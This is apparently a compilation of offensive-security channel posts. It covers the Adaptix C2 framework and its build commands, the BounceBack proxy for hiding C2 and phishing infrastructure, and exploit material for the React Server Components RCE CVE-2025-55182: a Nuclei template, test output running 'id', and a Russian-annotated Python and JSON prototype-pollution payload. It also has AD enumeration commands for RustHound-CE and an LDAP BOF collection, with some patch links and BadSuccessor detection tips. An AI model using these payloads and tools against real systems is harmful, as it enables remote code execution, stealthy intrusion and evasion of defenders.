Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal

sudo apt install mingw-w64 make gcc g++ g++-mingw-w64

wget https://go.dev/dl/go1.25.4.linux-amd64.tar.gz -O /tmp/go1.25.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.25.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go

# for windows 7 support by gopher agent
git clone https://github.com/Adaptix-Framework/go-win7 /tmp/go-win7
sudo mv /tmp/go-win7 /usr/lib/

sudo apt install gcc g++ build-essential make cmake mingw-w64 g++-mingw-w64 libssl-dev qt6-base-dev qt6-base-private-dev libxkbcommon-dev qt6-websockets-dev qt6-declarative-dev

make server-ext
make client

Understanding Living Off the Land

The term comes from the military concept of living off the land during operations - using local resources instead of bringing your own supplies. In cybersecurity, it refers to using built-in system tools and legitimate executables for malicious purposes. These binaries are often called LOLBins (Living Off the Land Binaries) or LOLBAs (Living Off the Land Binaries and Scripts

Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective

BounceBack is a powerful, highly customizable and configurable reverse proxy with WAF functionality for hiding your C2/phishing/etc infrastructure from blue teams, sandboxes, scanners, etc. It uses real-time traffic analysis through various filters and their combinations to hide your tools from illegitimate visitors

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js: 15.x, 16.x (App Router)

=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

id: CVE-2025-55182

info:
  name: React Server Components RCE - CVE-2025-55182
  author: sickwell
  severity: critical
  description: |
    Remote Code Execution vulnerability in React Server Components via react-server-dom-webpack.
    Missing hasOwnProperty check in requireModule allows prototype chain access to Node.js modules.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
    - https://github.com/ejpir/CVE-2025-55182-poc
  classification:
    cve-id: CVE-2025-55182
    cwe-id: CWE-20
  tags: cve,cve2025,rce,react,server-components,nodejs

variables:
  boundary: "----NucleiBoundary{{randstr}}"
  math_code: "Math.PI * 2"
  expected_result: "6.283185307179586"

http:
  - method: POST
    path:
      - "{{BaseURL}}/formaction"
      - "{{BaseURL}}/api/formaction"
      - "{{BaseURL}}/api/v1/login"
      - "{{BaseURL}}/actions"
      - "{{BaseURL}}/server-actions"
    
    headers:
      Content-Type: "multipart/form-data; boundary={{boundary}}"
      User-Agent: "Nuclei - CVE-2025-55182"
    
    body: |
      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_REF_0"

      --{{boundary}}
      Content-Disposition: form-data; name="$ACTION_0:0"

      {"id":"vm#runInThisContext","bound":["{{math_code}}"]}
      --{{boundary}}--

    extractors:
      - type: regex
        name: vulnerable_path
        part: url
        regex:
          - '(/(?:formaction|api/formaction|api/v1/login|actions|server-actions))'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
          - 'contains(body, "result")'
          - 'contains(body, "{{expected_result}}")'
        condition: and

    matchers-condition: and

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;

Соответственно, можем сформировать специальный объект, где then указывал бы на Function.

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;

Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions

The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution

use multi/http/react2shell_cve_2025_55102

Cross-platform and cross-compiled BloodHound collector tool written in Rust, making it compatible with Linux, Windows, and macOS. It therefore generates all the JSON files that can be analyzed by BloodHound Community Edition

# Install from cargo
cargo install rusthound-ce

rusthound-ce -i 192.168.1.10 -d domain.local -u [email protected] -p 'pass' -z

40+ BOF commands
LDAPS support (port 636) with automatic certificate acceptance
Standard LDAP (port 389) with signing and sealing
Automatic DN/username detection for flexible targeting
Adaptix C2 integration via AxScript

git clone https://github.com/P0142/ldap-bof-collection.git
cd ldap-bof-collection
make

AxScript tab -> Script Manager -> Right click, Load New (ldap.axs)

Akamai researchers analyzed Microsoft’s patch for the vulnerability known as BadSuccessor (CVE-2025-53779) to assess its effectiveness

System access control lists (SACLs): Audit the creation of dMSAs and changes to the migration link attributes on both sides — the dMSA’s link and the superseded/preceding account’s link

Repeated log entries indicating a dMSA password has been fetched in a short window
An enabled user appearing to be linked to a dMSA (should be unusual)
A previously disabled user getting linked to a new dMSA